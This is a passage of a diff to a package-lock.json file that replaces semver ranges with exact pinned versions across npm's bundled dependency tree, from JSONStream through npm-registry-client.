"3.0.0", + "npm-lifecycle": "2.1.0", + "npm-package-arg": "6.1.0", + "npm-packlist": "1.1.11", + "npm-pick-manifest": "2.1.0", + "npm-profile": "3.0.2", + "npm-registry-client": "8.6.0", + "npm-registry-fetch": "1.1.0", + "npm-user-validate": "1.0.0", + "npmlog": "4.1.2", + "once": "1.4.0", + "opener": "1.5.0", + "osenv": "0.1.5", + "pacote": "8.1.6", + "path-is-inside": "1.0.2", + "promise-inflight": "1.0.1", + "qrcode-terminal": "0.12.0", + "query-string": "6.1.0", + "qw": "1.0.1", + "read": "1.0.7", + "read-cmd-shim": "1.0.1", + "read-installed": "4.0.3", + "read-package-json": "2.0.13", + "read-package-tree": "5.2.1", + "readable-stream": "2.3.6", + "readdir-scoped-modules": "1.0.2", + "request": "2.88.0", + "retry": "0.12.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.2", + "semver": "5.5.0", + "sha": "2.0.1", + "slide": "1.1.6", + "sorted-object": "2.0.1", + "sorted-union-stream": "2.1.3", + "ssri": "6.0.0", + "stringify-package": "1.0.0", + "tar": "4.4.6", + "text-table": "0.2.0", + "tiny-relative-date": "1.3.0", "uid-number": "0.0.6", - "umask": "~1.1.0", - "unique-filename": "~1.1.0", - "unpipe": "~1.0.0", - "update-notifier": "^2.5.0", - "uuid": "^3.3.2", - "validate-npm-package-license": "^3.0.4", - "validate-npm-package-name": "~3.0.0", - "which": "^1.3.1", - "worker-farm": "^1.6.0", - "write-file-atomic": "^2.3.0" + "umask": "1.1.0", + "unique-filename": "1.1.0", + "unpipe": "1.0.0", + "update-notifier": "2.5.0", + "uuid": "3.3.2", + "validate-npm-package-license": "3.0.4", + "validate-npm-package-name": "3.0.0", + "which": "1.3.1", + "worker-farm": "1.6.0", + "write-file-atomic": "2.3.0" }, "dependencies": { "JSONStream": { "version": "1.3.4", "bundled": true, "requires": { - "jsonparse": "^1.2.0", - "through": ">=2.2.7 <3" + "jsonparse": "1.3.1", + "through": "2.3.8" } }, "abbrev": { @@ -9920,31 +9915,31 @@ "version": "4.2.0", "bundled": true, "requires": { - "es6-promisify": "^5.0.0" + "es6-promisify": "5.0.0" } }, "agentkeepalive": { "version": "3.4.1", "bundled": true, "requires": { - "humanize-ms": "^1.2.1" + "humanize-ms": "1.2.1" } }, "ajv": { "version": "5.5.2", "bundled": true, "requires": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" } }, "ansi-align": { "version": "2.0.0", "bundled": true, "requires": { - "string-width": "^2.0.0" + "string-width": "2.1.1" } }, "ansi-regex": { @@ -9955,7 +9950,7 @@ "version": "3.2.1", "bundled": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.1" } }, "ansicolors": { @@ -9978,8 +9973,8 @@ "version": "1.1.4", "bundled": true, "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "delegates": "1.0.0", + "readable-stream": "2.3.6" } }, "asap": { @@ -9990,7 +9985,7 @@ "version": "0.2.4", "bundled": true, "requires": { - "safer-buffer": "~2.1.0" + "safer-buffer": "2.1.2" } }, "assert-plus": { @@ -10018,25 +10013,25 @@ "bundled": true, "optional": true, "requires": { - "tweetnacl": "^0.14.3" + "tweetnacl": "0.14.5" } }, "bin-links": { "version": "1.1.2", "bundled": true, "requires": { - "bluebird": "^3.5.0", - "cmd-shim": "^2.0.2", - "gentle-fs": "^2.0.0", - "graceful-fs": "^4.1.11", - "write-file-atomic": "^2.3.0" + "bluebird": "3.5.1", + "cmd-shim": "2.0.2", + "gentle-fs": "2.0.1", + "graceful-fs": "4.1.11", + "write-file-atomic": "2.3.0" } }, "block-stream": { "version": "0.0.9", "bundled": true, "requires": { - "inherits": "~2.0.0" + "inherits": "2.0.3" } }, "bluebird": { @@ -10047,20 +10042,20 @@ "version": "1.3.0", "bundled": true, "requires": { - "ansi-align": "^2.0.0", - "camelcase": "^4.0.0", - "chalk": "^2.0.1", - "cli-boxes": "^1.0.0", - "string-width": "^2.0.0", - "term-size": "^1.2.0", - "widest-line": "^2.0.0" + "ansi-align": "2.0.0", + "camelcase": "4.1.0", + "chalk": "2.4.1", + "cli-boxes": "1.0.0", + "string-width": "2.1.1", + "term-size": "1.2.0", + "widest-line": "2.0.0" } }, "brace-expansion": { "version": "1.1.11", "bundled": true, "requires": { - "balanced-match": "^1.0.0", + "balanced-match": "1.0.0", "concat-map": "0.0.1" } }, @@ -10088,20 +10083,20 @@ "version": "11.2.0", "bundled": true, "requires": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "figgy-pudding": "^3.1.0", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.3", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^6.0.0", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" + "bluebird": "3.5.1", + "chownr": "1.0.1", + "figgy-pudding": "3.4.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "lru-cache": "4.1.3", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "promise-inflight": "1.0.1", + "rimraf": "2.6.2", + "ssri": "6.0.0", + "unique-filename": "1.1.0", + "y18n": "4.0.0" } }, "call-limit": { @@ -10124,9 +10119,9 @@ "version": "2.4.1", "bundled": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" } }, "chownr": { @@ -10141,7 +10136,7 @@ "version": "2.0.9", "bundled": true, "requires": { - "ip-regex": "^2.1.0" + "ip-regex": "2.1.0" } }, "cli-boxes": { @@ -10152,26 +10147,26 @@ "version": "3.1.2", "bundled": true, "requires": { - "string-width": "^2.0.0", - "strip-ansi": "^3.0.1" + "string-width": "2.1.1", + "strip-ansi": "3.0.1" } }, "cli-table3": { "version": "0.5.0", "bundled": true, "requires": { - "colors": "^1.1.2", - "object-assign": "^4.1.0", - "string-width": "^2.1.1" + "colors": "1.1.2", + "object-assign": "4.1.1", + "string-width": "2.1.1" } }, "cliui": { "version": "4.1.0", "bundled": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" }, "dependencies": { "ansi-regex": { @@ -10182,7 +10177,7 @@ "version": "4.0.0", "bundled": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } } } @@ -10195,8 +10190,8 @@ "version": "2.0.2", "bundled": true, "requires": { - "graceful-fs": "^4.1.2", - "mkdirp": "~0.5.0" + "graceful-fs": "4.1.11", + "mkdirp": "0.5.1" } }, "co": { @@ -10211,7 +10206,7 @@ "version": "1.9.1", "bundled": true, "requires": { - "color-name": "^1.1.1" + "color-name": "1.1.3" } }, "color-name": { @@ -10227,15 +10222,15 @@ "version": "1.5.4", "bundled": true, "requires": { - "strip-ansi": "^3.0.0", - "wcwidth": "^1.0.0" + "strip-ansi": "3.0.1", + "wcwidth": "1.0.1" } }, "combined-stream": { "version": "1.0.6", "bundled": true, "requires": { - "delayed-stream": "~1.0.0" + "delayed-stream": "1.0.0" } }, "concat-map": { @@ -10246,30 +10241,30 @@ "version": "1.6.2", "bundled": true, "requires": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" + "buffer-from": "1.0.0", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "typedarray": "0.0.6" } }, "config-chain": { "version": "1.1.11", "bundled": true, "requires": { - "ini": "^1.3.4", - "proto-list": "~1.2.1" + "ini": "1.3.5", + "proto-list": "1.2.4" } }, "configstore": { "version": "3.1.2", "bundled": true, "requires": { - "dot-prop": "^4.1.0", - "graceful-fs": "^4.1.2", - "make-dir": "^1.0.0", - "unique-string": "^1.0.0", - "write-file-atomic": "^2.0.0", - "xdg-basedir": "^3.0.0" + "dot-prop": "4.2.0", + "graceful-fs": "4.1.11", + "make-dir": "1.3.0", + "unique-string": "1.0.0", + "write-file-atomic": "2.3.0", + "xdg-basedir": "3.0.0" } }, "console-control-strings": { @@ -10280,12 +10275,12 @@ "version": "1.0.5", "bundled": true, "requires": { - "aproba": "^1.1.1", - "fs-write-stream-atomic": "^1.0.8", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.0" + "aproba": "1.2.0", + "fs-write-stream-atomic": "1.0.10", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" }, "dependencies": { "iferr": { @@ -10302,16 +10297,16 @@ "version": "3.0.2", "bundled": true, "requires": { - "capture-stack-trace": "^1.0.0" + "capture-stack-trace": "1.0.0" } }, "cross-spawn": { "version": "5.1.0", "bundled": true, "requires": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "lru-cache": "4.1.3", + "shebang-command": "1.2.0", + "which": "1.3.1" } }, "crypto-random-string": { @@ -10326,7 +10321,7 @@ "version": "1.14.1", "bundled": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" } }, "debug": { @@ -10362,7 +10357,7 @@ "version": "1.0.3", "bundled": true, "requires": { - "clone": "^1.0.2" + "clone": "1.0.4" } }, "delayed-stream": { @@ -10385,15 +10380,15 @@ "version": "1.0.3", "bundled": true, "requires": { - "asap": "^2.0.0", - "wrappy": "1" + "asap": "2.0.6", + "wrappy": "1.0.2" } }, "dot-prop": { "version": "4.2.0", "bundled": true, "requires": { - "is-obj": "^1.0.0" + "is-obj": "1.0.1" } }, "dotenv": { @@ -10408,10 +10403,10 @@ "version": "3.6.0", "bundled": true, "requires": { - "end-of-stream": "^1.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.0.0", - "stream-shift": "^1.0.0" + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" } }, "ecc-jsbn": { @@ -10419,8 +10414,8 @@ "bundled": true, "optional": true, "requires": { - "jsbn": "~0.1.0", - "safer-buffer": "^2.1.0" + "jsbn": "0.1.1", + "safer-buffer": "2.1.2" } }, "editor": { @@ -10431,14 +10426,14 @@ "version": "0.1.12", "bundled": true, "requires": { - "iconv-lite": "~0.4.13" + "iconv-lite": "0.4.23" } }, "end-of-stream": { "version": "1.4.1", "bundled": true, "requires": { - "once": "^1.4.0" + "once": "1.4.0" } }, "err-code": { @@ -10449,7 +10444,7 @@ "version": "0.1.7", "bundled": true, "requires": { - "prr": "~1.0.1" + "prr": "1.0.1" } }, "es6-promise": { @@ -10460,7 +10455,7 @@ "version": "5.0.0", "bundled": true, "requires": { - "es6-promise": "^4.0.3" + "es6-promise": "4.2.4" } }, "escape-string-regexp": { @@ -10471,13 +10466,13 @@ "version": "0.7.0", "bundled": true, "requires": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" } }, "extend": { @@ -10508,15 +10503,15 @@ "version": "2.1.0", "bundled": true, "requires": { - "locate-path": "^2.0.0" + "locate-path": "2.0.0" } }, "flush-write-stream": { "version": "1.0.3", "bundled": true, "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.4" + "inherits": "2.0.3", + "readable-stream": "2.3.6" } }, "forever-agent": { @@ -10527,43 +10522,43 @@ "version": "2.3.2", "bundled": true, "requires": { - "asynckit": "^0.4.0", + "asynckit": "0.4.0", "combined-stream": "1.0.6", - "mime-types": "^2.1.12" + "mime-types": "2.1.19" } }, "from2": { "version": "2.3.0", "bundled": true, "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.0" + "inherits": "2.0.3", + "readable-stream": "2.3.6" } }, "fs-minipass": { "version": "1.2.5", "bundled": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.3.3" } }, "fs-vacuum": { "version": "1.2.10", "bundled": true, "requires": { - "graceful-fs": "^4.1.2", - "path-is-inside": "^1.0.1", - "rimraf": "^2.5.2" + "graceful-fs": "4.1.11", + "path-is-inside": "1.0.2", + "rimraf": "2.6.2" } }, "fs-write-stream-atomic": { "version": "1.0.10", "bundled": true, "requires": { - "graceful-fs": "^4.1.2", - "iferr": "^0.1.5", - "imurmurhash": "^0.1.4", - "readable-stream": "1 || 2" + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "imurmurhash": "0.1.4", + "readable-stream": "2.3.6" }, "dependencies": { "iferr": { @@ -10580,33 +10575,33 @@ "version": "1.0.11", "bundled": true, "requires": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" + "graceful-fs": "4.1.11", + "inherits": "2.0.3", + "mkdirp": "0.5.1", + "rimraf": "2.6.2" } }, "gauge": { "version": "2.7.4", "bundled": true, "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" }, "dependencies": { "string-width": { "version": "1.0.2", "bundled": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } } } @@ -10619,14 +10614,14 @@ "version": "2.0.1", "bundled": true, "requires": { - "aproba": "^1.1.2", - "fs-vacuum": "^1.2.10", - "graceful-fs": "^4.1.11", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "path-is-inside": "^1.0.2", - "read-cmd-shim": "^1.0.1", - "slide": "^1.1.6" + "aproba": "1.2.0", + "fs-vacuum": "1.2.10", + "graceful-fs": "4.1.11", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "path-is-inside": "1.0.2", + "read-cmd-shim": "1.0.1", + "slide": "1.1.6" }, "dependencies": { "iferr": { @@ -10647,43 +10642,43 @@ "version": "0.1.7", "bundled": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" } }, "glob": { "version": "7.1.2", "bundled": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "global-dirs": { "version": "0.1.1", "bundled": true, "requires": { - "ini": "^1.3.4" + "ini": "1.3.5" } }, "got": { "version": "6.7.1", "bundled": true, "requires": { - "create-error-class": "^3.0.0", - "duplexer3": "^0.1.4", - "get-stream": "^3.0.0", - "is-redirect": "^1.0.0", - "is-retry-allowed": "^1.0.0", - "is-stream": "^1.0.0", - "lowercase-keys": "^1.0.0", - "safe-buffer": "^5.0.1", - "timed-out": "^4.0.0", - "unzip-response": "^2.0.1", - "url-parse-lax": "^1.0.0" + "create-error-class": "3.0.2", + "duplexer3": "0.1.4", + "get-stream": "3.0.0", + "is-redirect": "1.0.0", + "is-retry-allowed": "1.1.0", + "is-stream": "1.1.0", + "lowercase-keys": "1.0.1", + "safe-buffer": "5.1.2", + "timed-out": "4.0.1", + "unzip-response": "2.0.1", + "url-parse-lax": "1.0.0" } }, "graceful-fs": { @@ -10698,8 +10693,8 @@ "version": "5.1.0", "bundled": true, "requires": { - "ajv": "^5.3.0", - "har-schema": "^2.0.0" + "ajv": "5.5.2", + "har-schema": "2.0.0" } }, "has-flag": { @@ -10722,7 +10717,7 @@ "version": "2.1.0", "bundled": true, "requires": { - "agent-base": "4", + "agent-base": "4.2.0", "debug": "3.1.0" } }, @@ -10730,31 +10725,31 @@ "version": "1.2.0", "bundled": true, "requires": { - "assert-plus": "^1.0.0", - "jsprim": "^1.2.2", - "sshpk": "^1.7.0" + "assert-plus": "1.0.0", + "jsprim": "1.4.1", + "sshpk": "1.14.2" } }, "https-proxy-agent": { "version": "2.2.1", "bundled": true, "requires": { - "agent-base": "^4.1.0", - "debug": "^3.1.0" + "agent-base": "4.2.0", + "debug": "3.1.0" } }, "humanize-ms": { "version": "1.2.1", "bundled": true, "requires": { - "ms": "^2.0.0" + "ms": "2.1.1" } }, "iconv-lite": { "version": "0.4.23", "bundled": true, "requires": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": "2.1.2" } }, "iferr": { @@ -10765,7 +10760,7 @@ "version": "3.0.1", "bundled": true, "requires": { - "minimatch": "^3.0.4" + "minimatch": "3.0.4" } }, "import-lazy": { @@ -10780,8 +10775,8 @@ "version": "1.0.6", "bundled": true, "requires": { - "once": "^1.3.0", - "wrappy": "1" + "once": "1.4.0", + "wrappy": "1.0.2" } }, "inherits": { @@ -10796,14 +10791,14 @@ "version": "1.10.3", "bundled": true, "requires": { - "glob": "^7.1.1", - "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0", - "promzard": "^0.3.0", - "read": "~1.0.1", - "read-package-json": "1 || 2", - "semver": "2.x || 3.x || 4 || 5", - "validate-npm-package-license": "^3.0.1", - "validate-npm-package-name": "^3.0.0" + "glob": "7.1.2", + "npm-package-arg": "6.1.0", + "promzard": "0.3.0", + "read": "1.0.7", + "read-package-json": "2.0.13", + "semver": "5.5.0", + "validate-npm-package-license": "3.0.4", + "validate-npm-package-name": "3.0.0" } }, "invert-kv": { @@ -10822,36 +10817,36 @@ "version": "1.0.0", "bundled": true, "requires": { - "builtin-modules": "^1.0.0" + "builtin-modules": "1.1.1" } }, "is-ci": { "version": "1.1.0", "bundled": true, "requires": { - "ci-info": "^1.0.0" + "ci-info": "1.4.0" } }, "is-cidr": { "version": "2.0.6", "bundled": true, "requires": { - "cidr-regex": "^2.0.8" + "cidr-regex": "2.0.9" } }, "is-fullwidth-code-point": { "version": "1.0.0", "bundled": true, "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "is-installed-globally": { "version": "0.1.0", "bundled": true, "requires": { - "global-dirs": "^0.1.0", - "is-path-inside": "^1.0.0" + "global-dirs": "0.1.1", + "is-path-inside": "1.0.1" } }, "is-npm": { @@ -10866,7 +10861,7 @@ "version": "1.0.1", "bundled": true, "requires": { - "path-is-inside": "^1.0.1" + "path-is-inside": "1.0.2" } }, "is-redirect": { @@ -10936,7 +10931,7 @@ "version": "3.1.0", "bundled": true, "requires": { - "package-json": "^4.0.0" + "package-json": "4.0.1" } }, "lazy-property": { @@ -10947,46 +10942,46 @@ "version": "1.0.0", "bundled": true, "requires": { - "invert-kv": "^1.0.0" + "invert-kv": "1.0.0" } }, "libcipm": { "version": "2.0.2", "bundled": true, "requires": { - "bin-links": "^1.1.2", - "bluebird": "^3.5.1", - "find-npm-prefix": "^1.0.2", - "graceful-fs": "^4.1.11", - "lock-verify": "^2.0.2", - "mkdirp": "^0.5.1", - "npm-lifecycle": "^2.0.3", - "npm-logical-tree": "^1.2.1", - "npm-package-arg": "^6.1.0", - "pacote": "^8.1.6", - "protoduck": "^5.0.0", - "read-package-json": "^2.0.13", - "rimraf": "^2.6.2", - "worker-farm": "^1.6.0" + "bin-links": "1.1.2", + "bluebird": "3.5.1", + "find-npm-prefix": "1.0.2", + "graceful-fs": "4.1.11", + "lock-verify": "2.0.2", + "mkdirp": "0.5.1", + "npm-lifecycle": "2.1.0", + "npm-logical-tree": "1.2.1", + "npm-package-arg": "6.1.0", + "pacote": "8.1.6", + "protoduck": "5.0.0", + "read-package-json": "2.0.13", + "rimraf": "2.6.2", + "worker-farm": "1.6.0" } }, "libnpmhook": { "version": "4.0.1", "bundled": true, "requires": { - "figgy-pudding": "^3.1.0", - "npm-registry-fetch": "^3.0.0" + "figgy-pudding": "3.4.1", + "npm-registry-fetch": "3.1.1" }, "dependencies": { "npm-registry-fetch": { "version": "3.1.1", "bundled": true, "requires": { - "bluebird": "^3.5.1", - "figgy-pudding": "^3.1.0", - "lru-cache": "^4.1.2", - "make-fetch-happen": "^4.0.0", - "npm-package-arg": "^6.0.0" + "bluebird": "3.5.1", + "figgy-pudding": "3.4.1", + "lru-cache": "4.1.3", + "make-fetch-happen": "4.0.1", + "npm-package-arg": "6.1.0" } } } @@ -10995,37 +10990,37 @@ "version": "10.2.0", "bundled": true, "requires": { - "dotenv": "^5.0.1", - "npm-package-arg": "^6.0.0", - "rimraf": "^2.6.2", - "safe-buffer": "^5.1.0", - "update-notifier": "^2.3.0", - "which": "^1.3.0", - "y18n": "^4.0.0", - "yargs": "^11.0.0" + "dotenv": "5.0.1", + "npm-package-arg": "6.1.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.2", + "update-notifier": "2.5.0", + "which": "1.3.1", + "y18n": "4.0.0", + "yargs": "11.0.0" } }, "locate-path": { "version": "2.0.0", "bundled": true, "requires": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" + "p-locate": "2.0.0", + "path-exists": "3.0.0" } }, "lock-verify": { "version": "2.0.2", "bundled": true, "requires": { - "npm-package-arg": "^5.1.2 || 6", - "semver": "^5.4.1" + "npm-package-arg": "6.1.0", + "semver": "5.5.0" } }, "lockfile": { "version": "1.0.4", "bundled": true, "requires": { - "signal-exit": "^3.0.2" + "signal-exit": "3.0.2" } }, "lodash._baseindexof": { @@ -11036,8 +11031,8 @@ "version": "4.6.0", "bundled": true, "requires": { - "lodash._createset": "~4.0.0", - "lodash._root": "~3.0.0" + "lodash._createset": "4.0.3", + "lodash._root": "3.0.1" } }, "lodash._bindcallback": { @@ -11052,7 +11047,7 @@ "version": "3.1.2", "bundled": true, "requires": { - "lodash._getnative": "^3.0.0" + "lodash._getnative": "3.9.1" } }, "lodash._createset": { @@ -11095,32 +11090,32 @@ "version": "4.1.3", "bundled": true, "requires": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" + "pseudomap": "1.0.2", + "yallist": "2.1.2" } }, "make-dir": { "version": "1.3.0", "bundled": true, "requires": { - "pify": "^3.0.0" + "pify": "3.0.0" } }, "make-fetch-happen": { "version": "4.0.1", "bundled": true, "requires": { - "agentkeepalive": "^3.4.1", - "cacache": "^11.0.1", - "http-cache-semantics": "^3.8.1", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^2.2.1", - "lru-cache": "^4.1.2", - "mississippi": "^3.0.0", - "node-fetch-npm": "^2.0.2", - "promise-retry": "^1.1.1", - "socks-proxy-agent": "^4.0.0", - "ssri": "^6.0.0" + "agentkeepalive": "3.4.1", + "cacache": "11.2.0", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.1", + "lru-cache": "4.1.3", + "mississippi": "3.0.0", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "4.0.1", + "ssri": "6.0.0" } }, "meant": { @@ -11131,7 +11126,7 @@ "version": "1.1.0", "bundled": true, "requires": { - "mimic-fn": "^1.0.0" + "mimic-fn": "1.2.0" } }, "mime-db": { @@ -11142,7 +11137,7 @@ "version": "2.1.19", "bundled": true, "requires": { - "mime-db": "~1.35.0" + "mime-db": "1.35.0" } }, "mimic-fn": { @@ -11153,7 +11148,7 @@ "version": "3.0.4", "bundled": true, "requires": { - "brace-expansion": "^1.1.7" + "brace-expansion": "1.1.11" } }, "minimist": { @@ -11164,8 +11159,8 @@ "version": "2.3.3", "bundled": true, "requires": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" + "safe-buffer": "5.1.2", + "yallist": "3.0.2" }, "dependencies": { "yallist": { @@ -11178,23 +11173,23 @@ "version": "1.1.0", "bundled": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.3.3" } }, "mississippi": { "version": "3.0.0", "bundled": true, "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^3.0.0", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" + "concat-stream": "1.6.2", + "duplexify": "3.6.0", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.3", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "3.0.0", + "pumpify": "1.5.1", + "stream-each": "1.2.2", + "through2": "2.0.3" } }, "mkdirp": { @@ -11208,12 +11203,12 @@ "version": "1.0.1", "bundled": true, "requires": { - "aproba": "^1.1.1", - "copy-concurrently": "^1.0.0", - "fs-write-stream-atomic": "^1.0.8", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.3" + "aproba": "1.2.0", + "copy-concurrently": "1.0.5", + "fs-write-stream-atomic": "1.0.10", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" } }, "ms": { @@ -11228,34 +11223,34 @@ "version": "2.0.2", "bundled": true, "requires": { - "encoding": "^0.1.11", - "json-parse-better-errors": "^1.0.0", - "safe-buffer": "^5.1.1" + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.2", + "safe-buffer": "5.1.2" } }, "node-gyp": { "version": "3.8.0", "bundled": true, "requires": { - "fstream": "^1.0.0", - "glob": "^7.0.3", - "graceful-fs": "^4.1.2", - "mkdirp": "^0.5.0", - "nopt": "2 || 3", - "npmlog": "0 || 1 || 2 || 3 || 4", - "osenv": "0", - "request": "^2.87.0", - "rimraf": "2", - "semver": "~5.3.0", - "tar": "^2.0.0", - "which": "1" + "fstream": "1.0.11", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "npmlog": "4.1.2", + "osenv": "0.1.5", + "request": "2.88.0", + "rimraf": "2.6.2", + "semver": "5.3.0", + "tar": "2.2.1", + "which": "1.3.1" }, "dependencies": { "nopt": { "version": "3.0.6", "bundled": true, "requires": { - "abbrev": "1" + "abbrev": "1.1.1" } }, "semver": { @@ -11266,9 +11261,9 @@ "version": "2.2.1", "bundled": true, "requires": { - "block-stream": "*", - "fstream": "^1.0.2", - "inherits": "2" + "block-stream": "0.0.9", + "fstream": "1.0.11", + "inherits": "2.0.3" } } } @@ -11277,26 +11272,26 @@ "version": "4.0.1", "bundled": true, "requires": { - "abbrev": "1", - "osenv": "^0.1.4" + "abbrev": "1.1.1", + "osenv": "0.1.5" } }, "normalize-package-data": { "version": "2.4.0", "bundled": true, "requires": { - "hosted-git-info": "^2.1.4", - "is-builtin-module": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" + "hosted-git-info": "2.7.1", + "is-builtin-module": "1.0.0", + "semver": "5.5.0", + "validate-npm-package-license": "3.0.4" } }, "npm-audit-report": { "version": "1.3.1", "bundled": true, "requires": { - "cli-table3": "^0.5.0", - "console-control-strings": "^1.1.0" + "cli-table3": "0.5.0", + "console-control-strings": "1.1.0" } }, "npm-bundled": { @@ -11311,21 +11306,21 @@ "version": "3.0.0", "bundled": true, "requires": { - "semver": "^2.3.0 || 3.x || 4 || 5" + "semver": "5.5.0" } }, "npm-lifecycle": { "version": "2.1.0", "bundled": true, "requires": { - "byline": "^5.0.0", - "graceful-fs": "^4.1.11", - "node-gyp": "^3.8.0", - "resolve-from": "^4.0.0", - "slide": "^1.1.6", + "byline": "5.0.0", + "graceful-fs": "4.1.11", + "node-gyp": "3.8.0", + "resolve-from": "4.0.0", + "slide": "1.1.6", "uid-number": "0.0.6", - "umask": "^1.1.0", - "which": "^1.3.1" + "umask": "1.1.0", + "which": "1.3.1" } }, "npm-logical-tree": { @@ -11336,52 +11331,52 @@ "version": "6.1.0", "bundled": true, "requires": { - "hosted-git-info": "^2.6.0", - "osenv": "^0.1.5", - "semver": "^5.5.0", - "validate-npm-package-name": "^3.0.0" + "hosted-git-info": "2.7.1", + "osenv": "0.1.5", + "semver": "5.5.0", + "validate-npm-package-name": "3.0.0" } }, "npm-packlist": { "version": "1.1.11", "bundled": true, "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.5" } }, "npm-pick-manifest": { "version": "2.1.0", "bundled": true, "requires": { - "npm-package-arg": "^6.0.0", - "semver": "^5.4.1" + "npm-package-arg": "6.1.0", + "semver": "5.5.0" } }, "npm-profile": { "version": "3.0.2", "bundled": true, "requires": { - "aproba": "^1.1.2 || 2", - "make-fetch-happen": "^2.5.0 || 3 || 4" + "aproba": "1.2.0", + "make-fetch-happen": "4.0.1" } }, "npm-registry-client": { "version": "8.6.0", "bundled": true, "requires": { - "concat-stream": "^1.5.2", - "graceful-fs": "^4.1.6", - "normalize-package-data": "~1.0.1 || ^2.0.0", - "npm-package-arg": 